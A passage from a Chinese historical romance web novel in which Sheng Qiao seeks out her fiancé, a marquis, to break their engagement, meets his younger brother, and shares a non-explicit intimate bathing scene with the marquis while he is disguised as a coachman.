盛乔也不想让别人看到自己这个样子,想着反正是坐马车过去,只要在下车之后戴一会儿就好了。
可她没想到,这一等就等了这么久。
更忘了胭脂是会化的,尤其是在这么热的天气之下。
盛乔被那一大团胭脂糊的难受,心里更是烦躁。
好容易外面传来脚步声,盛乔立刻起身扭身去看,来得却只是传话的随从,赔笑着对两人说:“两位娘子,端阳侯此时并不在洛州,只怕两位今日要空等一趟了。”
怎会不在,郑墨完全不信,这消息可是孟絮告诉她的,她的父兄都在洛州府为官。
她皱眉想要再说什么,一旁的盛乔已经拉住了她。
“算了吧。”盛乔说。
她的语气烦躁中还掺杂着些许低落。
她实在不明白,为什么徐肃年要这么难为自己,不过是退个婚而已。
本就天热,盛乔感觉自己所有的力气都被折腾光了,再也没有心思再多说一句话。
她扯了扯郑墨的手臂。
郑墨也看出她的情绪不对,只得道:“好罢,我们今日先告辞了。”
说完,两人起身便离开了。
随从将两人一直送到了门外马车上。
车门一关上,盛乔第一时间就是摘了帷帽,然后去拿车上的水袋,想要把脸上的妆容洗掉。
郑墨本想说,等回府后再洗,但见盛乔始终没有展平的眉心,又忽然改了主意。
她拿了手帕,亲自给盛乔把脸颊擦干净,“时间还早,我们先别回去了,表姐带你去吃好吃的,好不好?”
说完也不等盛乔的回答,直接撩开车帘对车夫说:“去善喜楼!”
善喜楼虽说不上是洛州城最大的酒楼,热闹却绝不输庆欢楼,不只有能吃饭喝酒,还有俊朗的乐师和漂亮的胡女演奏助兴。
盛乔从前很是到这样的地方去,到了洛州,熟悉的人更少,若没有别人陪着,她指定是不会去那些地方的。
果然,听到郑墨的话,盛乔还有些不想去,但等到了之后,郑墨直接将她拉下了马车。
她勾了勾盛乔的鼻尖,压低声音在她耳边说:“好了,别嘟着个小脸了,姐姐今天带你好好去玩一玩,什么婚约,什么男人,都再不要想了!”
早有小二迎上来殷切招待,两个女郎跟着走进善喜楼,小二问道:“两位小娘子是去楼上雅间,还是一楼大堂。”
这么热闹的地方坐在雅间有什么趣儿,郑墨说:“当然是大堂。”
这善喜楼的布置和其他酒楼很不一样,大堂没有摆大方桌,而是设了一个宽敞的大圆台,一进去正看到四个衣饰艳丽的舞女在赤足跳舞。
圆台四周是摆着一方方小桌,两边有淡色的垂纱将座位隔开。
前面的座位都已经坐满,小二带着两人往最里面走去。
盛乔没来过这样的地方,又不好东张西望,正跟在郑墨身边往前走,忽不远处传来一声,“盛三娘子!”
听到这称呼,盛乔就是一愣,在这洛州,会这么叫她的人实在少之又少。
可周围人实在太多,盛乔找了回首找了一圈,也没发觉是谁在叫自己。
正发愣间,只见最里面位置的垂纱被人撩开,一个年轻的郎君朝她走了过来。
郑墨看了一眼,发觉自己不认识,按理说阿乔身边的人她都认识,她奇怪地转头去看身边的盛乔。
“这位是?”
不料盛乔也是一副茫然的表情。
盛乔根本不记得眼前这人是谁,思索半晌,还是有些尴尬地问了出来,“郎君是……”
来人朝她恭谨地施了一礼,自我介绍道:“在下肃景,是端阳侯的二弟。”
第30章 沐浴吻住了锁骨的水珠
在徐肃景提到自己的名字之后,盛乔就立刻想起对方是谁了。
在和徐肃年订婚之前,盛乔随母亲去丹宁长公主府参加过几次马球会,除了徐肃年当时忙于公事不在之外,他的两个弟弟都见过。
三郎还是小孩子,今
年也才七八岁的样子,二郎倒是和盛乔年纪相仿,因此两人当时多说了几句话。
不过已经过去这么长时间,盛乔早就把他忘了,如今想起来,忙朝他抱歉一笑,“原来是二郎君,方才没认出来。”
“在下也没想到会在这里遇到三娘子。”徐肃景毫不在意地朝盛乔摆了摆手,只是言语间难免有些好奇,“三娘子怎么会在洛州,我方才还以为是认错人了呢。”
盛乔支吾半天,不知道如何回答。
徐肃景看着她微微泛红的脸颊,不知她是不好意思回答,还以为她是害羞了,于是恍然道:“难道三娘子也是来找我大哥的?”
也。
什么叫也?
盛乔的脑子难得转得这么快,她和旁边的郑墨对视一眼,见她也微不可察地点了点头,明显是和她想到了一处。
盛乔眼睛滴溜溜地转了一圈,然后对徐肃景点了点头,“对啊,我就是来找你大哥的,可是驿馆的人说他不在。”
“不在?”徐肃景皱起眉,显然也没料到这一点。
盛乔看着徐肃景的表情,软声道:“二郎君也要找端阳侯么?能不能将我一起带去,我有事想请他帮忙。”
徐肃景并不知道燕国公府早已有了退婚的意愿,更不知道盛乔早就从长安跑出来了,此时见她这么柔声软语的,还以为她是专门跑到洛州来找自家大哥的。
徐肃景当然不会不答应,当即点头道:“好,我答应三娘子。”
盛乔简直一刻都不想再等了,立刻道:“那我们现在就去找他吗?”
这下轮到徐肃景犹豫了,他可不想这么快就去见大哥,他还想再玩几天呢。
一旁郑墨看出了徐肃景的犹豫,立刻出声解围道:“三娘子此行洛州,是来为我这个表姐过生辰,偶然得知端阳侯也在。”
“依着他们两人的关系,同城不见实在不合礼数,可到了驿馆,驿馆的大人大约把我们当成冒名顶替的骗子了,没说几句话就把我们轰了出来。”
郑墨深谙以退为进的道理,“到底是我们冒进了,若是二郎君有什么疑虑,直说便是。”
徐肃景今年不过十七岁,一直在读书还未入仕,听了这话立刻有些不是滋味。
想那燕国公府的三娘子是何等身份,如今却被驿馆的小吏欺凌。
不过他也知道,底下小吏能说出这话,说到底还是上头主子的命令。
他是最了解自家大哥的,知道他一门心思都放在朝政公事上,对与盛家的这桩婚事是半点都不上心,否则也不会在提亲之日离京跑到洛州了,一走就是两个月,急得阿娘都耐不住,特意派他来给大哥送信,催他快些办完公事好回长安。
今日这事,多半是他家大哥在忙着正事,听到底下人来报,也没听是谁,便直接叫人打发了。
唉,像他大哥这性子,他本以为一辈子都要当个孤家寡人,没想到阿娘忽然给他定了亲,还是这么好的一门亲事,实在不知道大哥在不满意什么。
徐肃景心里默默感慨,然后很有担当地替自家大哥向未来的嫂嫂道歉,并保证道:“三娘子放心,我今日去见了大哥之后,便立刻与他提这件事,日后一定不会再发生这件事了。”
听他说要对徐肃年提,郑墨忙出声阻拦,“向来侯爷公务繁忙,还是不必对他提起了吧,何况三娘今日临时登门,也是想给他一个惊喜。”
一边说着,她一边在徐肃景看不到的地方,悄悄推了盛乔一声,“对吧,三娘。”
盛乔后知后觉地挤出一抹笑容,没什么灵魂地附和道:“是啊,是啊!”
徐肃景这回可为难了,“那……我直接带三娘子去?可我怎么找三娘子呢?”
郑墨立刻召来小二要了纸笔,将济善堂的地址写下,递给徐肃景,“三郎君到这里去找三娘便是。”
徐肃景接过,又郑重答应了一遍,三人这才分手,徐肃景回到自己的位置坐下,郑墨也扯着盛乔找空位钻进去了。
能在这里遇到徐肃景,也算是柳暗花明又一村了,盛乔的心情也有阴转晴。
她原本气得连午饭都不想吃了,但此时又忽然来了胃口,并莫名生出一股想要大吃一顿的欲望。
两个女郎饭量都不大,却很是奢侈地点了满满一桌子菜,甚至郑墨还特意点了一壶葡萄酒,亲自给盛乔斟上。
盛乔以前从没有喝过酒,这次原本也要推拒的,可端到眼前的葡萄酒香实在勾人,反正明天也是休沐日,就算醉了也不耽误事,何况表姐还在她身边呢。
盛乔这样想着,半推半就地饮了一杯。
有些事就是这样,若你一直不去做,或许永远都不会去想,可一旦你开始做了,便再也戒不得了。
饮酒便是如此,有了第一杯,就有第二杯,等那一壶都饮完,盛乔仍旧是意犹未尽的样子。
她召来小二想再要一壶,郑墨却拦住她,“只喝一种酒有什么趣儿?不若再换别的尝一尝。”
小二很有眼力见,听到这话立刻介绍道:“除了葡萄酒,和那些寻常的酒,咱们这儿还有新丰酒,松醪酒,还有长安传来的五云浆,娘子们想尝尝哪一个?”
他说得这些郑墨也没喝过,挑来挑去哪一样都想喝,最后干脆大手一挥,豪迈道:“一样来一壶。”
只看这两位小娘子的打扮,就知道她们定然是出身富贵,店小二自觉遇到了大主顾,忙应一声,喜笑颜开地跑走了。
没一会儿端了三样最贵的上来,“这是咱们这最出名的美酒,小娘子先尝,若是喜欢,小的再给您上。”
徐肃年让齐甄回拒了盛乔的拜帖之后,几乎能猜到盛乔失望的心情,料想她定然会早早回家,于是连用午膳的心思都没有了,匆匆就回了济善堂。
不料到了盛乔的院子,仍是只有琥珀在,连回话都和晨起时一模一样。
徐肃年几乎都要怀疑盛乔是不是发现了什么,故意不想见自己。
在求知堂用午膳时,他特意在其他先生那里旁敲侧击地打听了一番郑墨的动向,确定了两人的确是出去后一直没回来。
大约是时辰太晚,所以在外面用午膳了。
估摸一会儿就回来了。
没想到这一会儿竟是一下午,徐肃年在二门附近的凉亭里一直等,从午时等到太阳落山,才听到门外有动静。
他忙合上手里的兵书迎出门外,正看到郑墨搀扶着盛乔往这边走。
徐肃年被这架势吓了一跳,还以为盛乔是受伤了,走近却闻到一股浓重的酒气。
“你们喝酒了?”他看向还算清醒的郑墨。
郑墨也没想到盛乔酒量这么浅,才不到两壶酒就醉了,她将桌上剩下的全喝光也不过觉得有些撑而已。
不过看到盛乔这个样子,她心下也有些愧疚,面对男人几乎质问般的语气,也难得没去计较,只轻瞥了他一眼,然后继续往前走。
虽然她心里已经默认了盛乔和徐少安的关系,但这并不代表她愿意接受徐少安,在她眼里,这个车夫始终是配不上她家阿乔的。
郑墨不说话,徐肃年也不好一直追问,只得一直跟在两人身后,一直目送两人回了院子。
琥珀迎上来,见到喝醉的盛乔也是大吃一惊,忙扶着她进了屋。
郑墨没急着跟过去,而且转身叫住了想要离开的男人,“徐少安。”
徐肃年没想到她会叫住自己,脚步微顿,回身看她,淡声问:“郑娘子有何指示?”
和在阿乔面前不同,此时他的态度冷淡,虽用尊称,却不见半分恭敬,甚至睇过来的视线接近于俯视。
郑墨很不舒服,更觉得有些奇怪,一个车夫身上怎么会有这样的气势。
最开始见到他的那个疑惑再次从心底浮了上来。
这个男人真的只是一个车夫吗?
但也只是一
瞬间的怀疑,因为郑墨实在想不到有什么人会去假扮车夫。
她将怀疑的念头抛之脑后,然后郑重说出了自己早就想说的话,“我知道你与阿乔如今关系不一般,但阿乔身份不同,你和她之间的差距有如天堑,我劝你还是注意分寸,若最后事情无法挽回,阿乔自然能轻易脱身,你却不一定了。”
这话明着听是劝阻,实际与威胁无异。
徐肃年也不是第一次听到这话了,若是纪明实说,他大概一个眼神都不会给他。但念在这位郑娘子是阿乔表姐的份上,徐肃年说:“郑娘子放心,便有天堑,我也能一寸寸地填平了它。”
说完,徐肃年转身就走,只留郑墨一个人在原地发愣。
回到卧房,徐肃年烦躁地倒了一杯冷水喝,盛乔估计以前都没喝过酒,今日醉酒之后也不知如何,会不会头痛。他心里不放心,却也明白,只要有郑墨在,他连碰她一下都没有机会。
他厌恶地揉了揉眉心,在惟有他一人的房间里,他再不用掩饰眼底的占有欲。
若此时不是在洛州就好了,若那些多余的人都不在就好了,若他的小娘子能早点嫁给他就好了。
徐肃年握着一杯冷茶,在椅子上静坐许久,直到天幕彻底降下,窗外变得一片漆黑时,他才终于起身走到书桌前坐上,然后从抽屉里翻出一本空白的折子,提笔写了起来。
当晚,徐肃年没再去看盛乔。
第二日休沐,徐肃年知道每月的这一天,郑墨都会出门去找孟娘子核算济善堂的账目。
因此他早上起身之后没急着出去,而且特意等到了郑墨平时出门的时辰,才来到盛乔的院子。
琥珀不在,大约也是出门了,徐肃年畅通无阻地来到盛乔门前,先十分规矩地敲了敲门。
门内却无人应答。
徐肃年蹙起眉,又加重力道敲了两声,还是无人应答。
他的耐心耗尽,没再敲,而且干脆直接推门走了进去。
盛乔的房间很大,内室的门开着,隔着屏风看不到里面的情形。
这次徐肃年没再往里走,停在屏风外轻声唤了一声,“小娘子?”
仍是无人应答,只隐约有什么动静从西边耳房传来。
徐肃年狐疑地走过去,正要敲门,忽然耳房的门从里面被人推开了,盛乔只披着一件轻薄的纱衣从里面走出来,扬声道:“琥珀,你不用……”
话说到一半,她看到了僵立在门口的男人。
“你……”后半句立刻被震惊取代,盛乔第一时间裹紧纱衣,然后看了眼窗外,急声命令,“快出去!”
但男人一动未动。
徐肃年也没想到今日过来会看到这般光景,一时也有些愣住了。
女郎身上覆着的那一层薄纱几乎没有半点用处,反而因为沾了水贴在身上,将玲珑的身段凸显的更加明显。
她的头发也是湿的,海藻一般铺垂在肩颈两侧,因为没有擦,湿漉漉的发根还往外滴着水。
水珠顺着圆润的肩颈淌下来,然后毫无阻挡地滚向腰侧,最后一直顺着小腿滑落,在盛乔赤裸的足边汇成一小滩水渍。
如斯美景,只一眼就能尽收眼底。
徐肃年喉结动了动,然后十分正人地侧过身去,无辜地解释,“我敲门了,可是无人应答,我担心你昨晚宿醉难受,这才直接推门走了进来,实在不是故意要闯小娘子闺房的。”
他还敢说!
盛乔恨不得把他推出去,可若松了手,就真的没有遮蔽之物了。
正急着,忽觉肩头一沉,她抬头看去,竟是徐少安解了自己的外裳,然后严严实实地裹在了她的身上。
“我不看。”男人一边说着,一边走过去捉住那外裳的两片领口,替盛乔裹得更严实些。
期间他的眼睛始终往下低垂着,一副十分规矩的样子。
盛乔虽然耳根还是很红,但羞恼之意逐渐褪去。
她从男人宽大的袍子里伸出两根手指,紧紧揪着相对松垮的衣襟处,然后偏过身,用下巴示意了一下门口的方向,“那你也出去!”
因为尴尬,室内气氛异常安静,徐肃年隔着门板听到了一道愈走愈近的脚步声。
他没急着走,反而提醒地往外指了指,对盛乔说:“好像有人来了,是不是琥珀。”
盛乔一愣,而后立刻冲到门边,悄悄推开了一点门缝,果真看到琥珀正抱着干净的衣服往这边走。
走是走不成了。
盛乔头疼地看着眼前的男人,此番情景不由得让她又想到了那天晚上郑墨到访的时候。
她实在不明白,怎么每次他过来的时候都会碰到这种事情。
好在一回生二回熟,她也不是第一次藏男人了。
盛乔没再犹豫,一手捂着胸前的衣襟,一手拽着男人的袖口就往耳房里面去。
只是这耳房实在太小,摆置也简单,别说藏人的地方了,就是连个柜子都没有。
唯一能盛下人的地方,只有最中间盛满水的浴桶。
外面已经传来了推门声,琥珀马上就要走进来了,盛乔看了看浴桶,又看了看高大的男人,还是咬牙把他推了进去。
因是背部先沉下去的,温热的水面猝然没过头顶,徐肃年虽早有准备,还是不受控制地呛了两口水,他下意识想要浮上来呼气,但紧跟着一件湿淋淋的衣裳就直接盖了上来。
盛乔把他刚刚披过来的衣裳脱了,也一并沉入了水下。
好在浴桶够宽够大,只要不是特意走过来看,就不会发现有什么异样。
门外琥珀的脚步声已然走近,盛乔深呼一口气,然后主动迎了上去。
浴桶里的水是温的,仿佛还残留着女郎的体温,徐肃年弓腰藏在其中,一点点扯开了覆在上头的衣服,越过打磨光滑的桶壁,能清晰地看到门口盛乔的背影。
她已经披上了自己的衣裳,但因为头发是湿的,这衣裳也被洇透了大半,两侧紧紧贴着她的细腰,勾出一弯诱人的弧线,仿若天上的月。
半藏半露的春光最是惹眼。
徐肃年往桶底又沉了沉,连耳廓都被潮湿浸润,他一眨不眨地盯着女郎的背影,看着她发间的水珠顺着腰线滑下去,滴在地上。
明明是没有声音的。
但在这一刻,徐肃年觉得自己仿佛能听到水珠破碎的声音。
没一会儿,盛乔就将琥珀打发走,而后朝他走了过来。
徐肃年看着她袅袅婷婷的步伐,深呼一口气,慢慢从水里站起来,他的全身也都湿透了。
盛乔刻意没去看他。
头发不擦干就黏在身上的感觉实在难受,又湿又沉,盛乔此时已经无心再去计较男人的冒失,只想把他尽快打发走,“琥珀被我支出去了,你也快些离开吧。”
说完,她从屏风上取了一条干净的宽大巾帕,扔给男人,想让他也擦一擦身上的水。
徐肃年精准地接过,却没有要给自己擦的意思。
随着哗啦一声水响,徐肃年从浴桶里直接走出来,“小娘子头发这么湿,不若我帮你擦干吧。”
他就站在盛乔面前,盛乔除非一直低着头,否则不可能看不到他现在的样子。
男人没穿外衫,薄薄的一层中衣早就湿透了,严丝合缝地贴在他的身上,将他的细腰长腿展示得分外明显。
尤其他的中衣还是难得的浅色。
盛乔只看一眼就觉面红耳赤,忙扭过头去。
男人已经拿着帕子从后往前裹住了她的头发。
不知为何,盛乔没有答应,但也没有拒绝他的动作,就那么半垂着头等他伺候。
男人擦拭的动作有些生疏,好在很有耐心。
两个全身湿漉漉的人就那么对站着,一个等,一个擦。
不知过了多久,盛乔站得脚都有些酸了,终于有些耐不住性子,主动问,“已经擦干了吧。”
“是吗?”
徐肃年不知怎的,声音都发哑,他低头看着盛乔,看她鬓角贴着一缕发丝,正好有一滴水珠顺着滑下来,落到了她精致漂亮的锁骨上。
徐肃年一手按着盛乔的头,一手伸到前面,勾住了她鬓角的发。
“还有最后一点。”
说着,他修长的指尖将那
一缕发丝别到盛乔耳后。
没有头发的遮挡,白净的锁骨全部露了出来。
徐肃年安静凝视半晌,然后俯身吻住了她锁骨蜿蜒而下的水珠。
30-40
第31章 花瓣燕国公还有五日到达洛州
这不是两人第一次接吻。
但先前的吻是强制的,带有侵略意味的。
而此时的吻是虔诚的,含着满满的温柔。
湿漉漉的头发到底不可能被布巾完全擦干,徐肃年此时单手扣着她的后脑,掌心也是潮呼呼的。
他已经分不清那是他掌心里的汗,还是盛乔头发上的水。
可他不想放手,只想将人再抱紧一些。
坚实的手臂圈在盛乔的腰间,几乎要将人嵌进自己的骨骼之间。
女郎也难得没有挣扎,垂落两侧的手臂下意识往上去寻一个归处,最后自然而然地环住了他的脖颈。
在认识男人之前,盛乔对男女之情的所有了解都来源于从前看过的那些话本。
只是再缠绵悱恻的话本,也只会写男女主人公相遇、相爱的故事情节,对于一切的亲密动作都是点到为止、一笔带过。
纵使盛乔涉猎广泛,也实在尝不出其中真味。
以至于她一直以为,拥抱、牵手,甚至亲吻,已经是男女间极为亲呢的接触。
直到遇到徐少安,她才知道,这些不过是最寻常的触碰,因为你只要看着他,就迫不及待地想要与他贴得再近一些。
至少盛乔以前从未想过,她有朝一日,会有勾人来形容一个男人。
更没有想过,她会成为一个色中饿鬼,对着一个男人咽口水。
但这不能怪她。
都怪徐少安。
平时徐少安已经够清俊好看了,此时身上裹了水,更如海妖一般,身形匀称修长。
好长的腿,好细的腰。
盛乔起先还埋着头不敢看,后来又在男人的怀里偷偷睁眼。
她不知道那是一种什么感觉,只感觉心底莫名有一股想要触碰他的冲动,想挨着他近一些,再近一些。
于是,两人就这样越挨越近,越抱越紧,等盛乔再度回过神时,她整个人已经被徐肃年压在了浴桶的桶壁上。
刚刚擦干的头发再度垂入水中,盛乔正有些懊恼,却见徐少安长臂一伸,从置物架的篮子里取了几枚遗落的花瓣,像作画一样,一片片贴在她修长的脖颈上。
“你做什么?”
沾了异物,颈间有些难受,盛乔伸手想摘下来,徐肃年却按着她的手指不让她动作,一双眼睛仍旧盯着她不放。
盛乔都不用照镜子,只想象一下自己现在的模样,也知道自己现在到底有多狼狈,披头散发,衣衫不整。
偏偏徐少安又用那样专注、欣赏的眼神看着她。
她起初还颇有些羞怯,后来莫名被这眼神鼓舞到了似的,不知道从哪生出一股子冲动,揪着男人的领口往自己身边拉,凑过去轻啄了一口。
亲完,她明显看到男人俊朗的眉宇微微扬起,似惊也似喜。
他的情绪波动,不过是因为自己的一个吻。
盛乔很享受这种感觉,她意犹未尽,又在男人下巴上亲了一口。
亲完,再去看男人的表情,然后再亲,一下接着一下。
对于女郎的热情,徐肃年既期待又满足,他不再动,就那么等着盛乔接下来的动作。
不想她竟越亲越往下,顺着唇角直亲到下巴,最后来到了他凸起的喉结处。
盛乔对它似有些好奇,因此这次没急着凑上去,反而看着那里眨了眨眼。
徐肃年被她这样的眼神看着,不自觉滚了滚喉结。
盛乔离得很近,清晰地看到喉结吞咽的过程,她终于凑上去,然后使坏一般在那凸起处轻咬了一口。
不过是一时兴起,盛乔发誓自己没有用力,比男人咬她嘴唇的力道还轻上许多。
可不知为何,徐少安竟然十分痛苦的发出一声闷哼,不知道的以为她拿锤子砸他了呢!
盛乔被他吓了一跳,下意识就以为自己失了分寸,可见他颈间仍是一片光滑,别说齿痕了,就连一点红印都没有留下。
她以为徐少安是故意装痛逗自己,本想真的使劲咬他一口,可见他面上隐忍的表情也不像是装的。
难道他身上有别的什么伤么?
盛乔一下子担心起来,扒着他的领口想要替他检查,“你到底什么了?”
徐肃年清晰地察觉到了自己身体的变化,但幸好两人下半身没有完全贴住,少女也懵懂不知内里,并未发现什么不对,只单纯地以为他是受了伤。
总不能对她实话实说,徐肃年连忙按住她四处作乱的手指,信口胡扯,“我没事,只是不小心磕了一下。”
“真的?”盛乔明显不太相信,看着他的眼神充满怀疑。
徐肃年也不知怎么解释,干脆直接转移话题,“热水都要没温度了,你冷不冷?刚刚贴过来身上又沾了水,还是得赶紧换了干净衣服,否则风一吹就要得风寒了。”
盛乔的思绪果然被牵走了,她捂着胳膊摩挲了两下,后知后觉地说:“是有些冷。”
徐肃年赶紧拿宽大的帕子给她兜头裹上,“快擦干,然后换了干衣服再说。”
盛乔抓着帕子的两头,却没动,而是问他,“那你呢?”
她有些为难地左右看了看,“我这里可没有能给你穿的干净衣服。”
徐肃年早已想好了对策,“眼看快到午膳时间了,我这样子怕是不能出去见人,怕只能劳烦小娘子替我去取一趟衣裳。”
盛乔一怔,“我?”
徐肃年指了指自己完全湿透的衣襟,“难道小娘子不该对我负责?还是你舍得让我就这么出去,你不怕我感染风寒?不怕旁的女子见到我……”
不等他说完,盛乔便瞪着眼捂住他的嘴巴,“不许说了,我答应就是了。”
徐肃年早知她会答应,继续嘱咐,“记得把琥珀一起带走。”
不必她提醒,盛乔也不会把琥珀留下的,她可不想让琥珀发现自家小娘子在自己的浴室里藏了一个男人。
“我换完衣服就去给你取衣服。”盛乔抱着两个干净帕子走出耳房,关门前还不忘叮嘱,“你快点把自己擦干噢,不要出去。”
“好。放心吧。”
徐肃年嘴上答应得很痛快,实际等盛乔一走,便立刻又走进了浴桶。
旁边还摆着几桶水,大约是用来调控水温的,徐肃年一个个试过去,果然有两桶是凉水。他倾身拎起,然后毫不迟疑地往自己身上倒。
这两桶水大约刚从井里打上来的,浇到身上如被针扎过一样,冰凉刺骨。
但也立竿见影,身上的燥热骤然被浇灭,徐肃年扶着桶沿喘了半晌,这才走出浴桶,开始擦身上的水。
今日本是来找盛乔说话,他身上特意带了盛乔那日送给他的荷包。
不过荷包里只装一张纸条实在有些太瘪,正巧夏日将至,他将盛乔的名字夹进常看的兵书里妥善收藏,然后叫齐甄去给他买了些驱蚊驱虫的草药填进去。
正巧昨日出门路过一家卖香囊、荷包的铺子,还特意下马给盛乔挑了一枚淡青色的荷包,上绣着鱼穿莲叶的图样。
徐肃年觉得盛乔就如那尾在莲叶下穿梭的小鱼儿,灵动活泼,自由自在。
他将这枚荷包里也塞了相同的草药,一并戴在身上,想在今日送给盛乔。
但方才一通胡闹,两枚荷包都被浸透了。
徐肃年将自己擦干,又去擦那两枚荷包上的水,不过里头
装的草药也都湿透了,怎么擦也擦不干。
徐肃年干脆把草药全都倒出来,然后把那两枚荷**放到窗边晾着。
眼看就是正午了,外间天光正好,徐肃年也在窗边站着,暖洋洋的日光透过半敞的轩窗照进来,正照在他潮湿的肩头。
徐肃年舒适地眯了眯眼睛。
不知过了多久,院外传来两道脚步声。
徐肃年半个身子掩在窗后去看,果然是盛乔和琥珀一前一后走进了院子,盛乔手里还拎了个包袱,里面应当就是他的衣服了。
徐肃年关上窗户,偏头时,忽然瞧见一旁屏风上挂着几件衣裳,应当是盛乔平日授课时穿的,颜色都非常浅淡,连花纹都没有,因此上面如果沾着什么东西就会十分明显。
徐肃年眯了眯眼睛,发觉那衣服的领口处竟然挂着几根长长的秀发,想来是穿脱衣裳的时候动作太急,不小心揪断了几根。
徐肃年想象着盛乔那毛躁的样子,不由得有些忍俊不禁。
明知那衣裳还是要浆洗的,但徐肃年还是很操心地把那几根头发摘了下来。
本想一会儿等琥珀离开,顺着窗边把头发扔出去,转头瞥见窗台上并排放着的荷包,徐肃年瞬间又改变了主意,将那一缕发丝团好,塞进了盛乔送给自己的那枚荷包里。
才拉紧荷包,耳房的门便被人推开,盛乔抱着包袱走进来,见他手里拿着荷包,问:“你方才在做什么?”
徐肃年淡定地把荷包收入怀中,然后将另一枚特意买给盛乔的递给她。
“有来有回,我昨日出门特意给你也买了一枚,往里面装了些驱蚊的草药,但方才都弄湿了。”
说完,指了指窗台上的草药。
“荷包晾干了就好。”盛乔一点都不失望,眉眼之间全是惊喜,“我回头也叫琥珀给我准备些草药。”
她伸手接过那枚荷包,手指在那条灵动的鱼儿上轻轻拂过,认真地说:“我很喜欢。”
这话不是敷衍,盛乔是真的很喜欢这个荷包,颜色、图样都很衬她。
直等徐肃年换了干净衣服离开之后,她还捏着那枚荷包不放。
琥珀端茶进来,瞧见她手里荷包,有些奇怪地咦了一声,“小姐这荷包是哪来的?奴婢怎么从前没见过。”
盛乔紧张了一下,然后立刻道:“就是上次我们和表姐一起出门的时候买的那个呀。”
那枚不是水蓝色的嘛?
琥珀心下疑惑,但看着盛乔特别认真的表情,便没把这话问出口,心想大约是自己记错了罢。
盛乔想起徐少安先前的话,从床上爬起来,对琥珀说:“眼看夏天就要到了,我们改日去街上买些驱蚊的草药,正好能塞进我的荷包里。”
琥珀正给盛乔收拾她先前换下来的湿衣服。
琥珀是个闲不住的性子,见自己不过离开半天,盛乔这屋子里就乱成这样,擦身的帕子和换下来的湿衣服就在美人榻上随意扔着,实在看不过眼。
“好,都听小娘子的。”
听到盛乔的话,琥珀一边敷衍着应声,一边走过去捡盛乔的脱下来的衣裳。
中衣,中裤,还有裹身的轻纱。
琥珀一件件拾起来,然后拍平搭在臂弯,等着晚些时候一起浆洗。
最后她捡起盛乔擦身的帕子,几枚半干不湿的花瓣从里面掉了出来。
她立刻皱起眉,有些担心地问盛乔,“小娘子,你这帕子里怎么夹了这么多花瓣啊,您是不是又偷懒没换第二遍热水呀。”
盛乔沐浴,总是要换两遍水的,第一遍会放花瓣增香,第二遍便只有温热的浴汤,别的什么都不放,以防花瓣一直粘在身上。
盛乔的皮肤敏感,一时半刻地还好,若一直粘在身上,只怕要起红疹子。
盛乔沐浴的时候不喜欢有别人在,在家的时候还好些,有两个浴桶,但盛乔有时也会贪懒,直接从花瓣桶里出来就穿衣服。在这里也是担心她如此,琥珀每次都给她多备出几桶热水。
听着琥珀这语气,倒像是把自己当成小孩子了似的。
盛乔有些不高兴地嘟起嘴巴,“琥珀,我早就长大了好不好!”
瞧小娘子这天真的模样,哪有半点成熟的样子,琥珀摇了摇头,走过来把手心的证据摊给她看。
盛乔本还想辩驳,见到花瓣的那一刻,又瞬间记忆回笼——
徐肃年湿淋淋将她压在浴桶壁上,一手搂着她的腰,一手捏起花瓣,一片片地贴在她的胸口和脖颈。
那花瓣一直没有拿掉,还是她后来擦身子的时候,自己擦掉的,这会儿都有些皱巴巴了。
见盛乔忽然不说话了,琥珀也没再唠叨,只道:“小娘子下次要再这样,我只能把剩下的所有花瓣都扔掉了。”
原也不过玩笑一句,盛乔却像是当了真,忙道:“别扔。”
盛乔拽住琥珀,看着她手里的那几枚花瓣,孩子气地重复,“都不许扔。”
她要把花瓣全都晒干,塞进徐少安送给她的荷包里。
与此同时,长安,燕国公府。
盛怀义穿着一身普通的常服,对候在外面的三郎盛淙打了个手势,让他再等一等,然后撩开帘子走进内室。
他看着忙得团团转的妻子,无奈地说:“宜秋,我只是去接女儿回家,又不是要定居洛阳,塞得东西已经够多了。”
“不光是给阿乔的东西。”郑夫人却眉目一横,嗔道,“墨儿不是说了,咱们阿乔在她的济善堂做女先生呢,她能在洛州过得好,也要多亏了书院里其他人的照顾,难道不给旁人也带几样礼物。”
几样……
盛国公想到方才已经装满的三辆马车,嘴角抽了抽,自他计划要去洛州开始,到几次告假陛下终于允准,郑夫人就开始置办东西,一直到今天上午,才说勉强凑齐了想买的东西。
不过他也知道,夫人这是太想女儿了,他无奈地摇了摇头,倒也没再阻拦。
只不过出发的时间一延再延,最后走出长安城的时候,天都快黑了。
盛淙骑马跟在父亲身后,无奈地看了看身后的几辆马车,愁眉苦脸的,“这么多东西,不知道多久才能到洛州。”
“马车让底下人护送,可以慢行,你我骑马,还能再快些。”
盛怀义却早有准备,计算着车程,说:“不出五日,就能见到洛州府的大门。”
第32章 二郎未来小嫂嫂
不知为什么,和徐少安在浴房浑闹了半日,盛乔竟然饿了,明明她早膳吃了那么多东西。
琥珀说:“眼看也快午时了,求知堂应当已经备好了午膳,我去给您取。”
求知堂除了有一个官厨之外,还专门建了一个用膳的小厅。
不过说是小厅,那厅其实一点也不小,足够坐下济善堂的所有学生和先生。
平日盛乔上午有课的时候,早膳和午膳都会去求知堂用,因为那是去水榭的必经之地。
但若是休沐之日,通常是琥珀把午膳取回来,然后琥珀在院子里一起用。
不料盛乔今日却说:“出去走走吧。”
琥珀虽意外,却也没再多问,答应道:“好,我去给小娘子拿衣衫。”
求知堂离得并不远,大约一刻钟就能走到。
盛乔来得有些早,用膳的小厅里没有几个学生,反而郑墨独自一人坐在角落,看上去有些孤单。
“表姐。”
盛乔看见她有些意外。
济善堂一月两次休沐,每次休沐日的第一天,郑墨都会去找孟絮,与她一起核对济善堂的账目。
毕竟这背后主要是孟絮出的钱,连这宅院都是孟家的别院。
往常核对完,孟絮总会留盛乔在家里用膳,今日郑墨怎么这么早就回来了?
盛乔问:“表姐,你今日怎么回来这么早?”
郑墨看上去脸色不太好,盛乔以为她是病了,郑墨摇了摇头,说:“是阿絮中午还要出门赴宴,我便没多待。”
“原是这样。”盛乔倒也没怀疑。
这时厨下帮忙的厨娘端了饭菜送过来,盛乔拉着琥珀一起在郑墨对面坐下。
难得郑墨无话,一顿饭用的很安静。
盛乔有些不习惯此时的气氛,正想说点什么打破沉默,忽然外面一阵脚步声传来,盛乔顺着菱花窗往外看,竟是纪明实走了进来。
自那日争吵之后,盛乔觉得自己已经许多日没见过纪明
实了。
那日纪明实的话实在让她不舒服,原本盛乔也不记得这事了,但见到纪明实之后,那些不愉快仿佛瞬间都记了起来。
她看了一眼就只当没看见,重新低下头去。
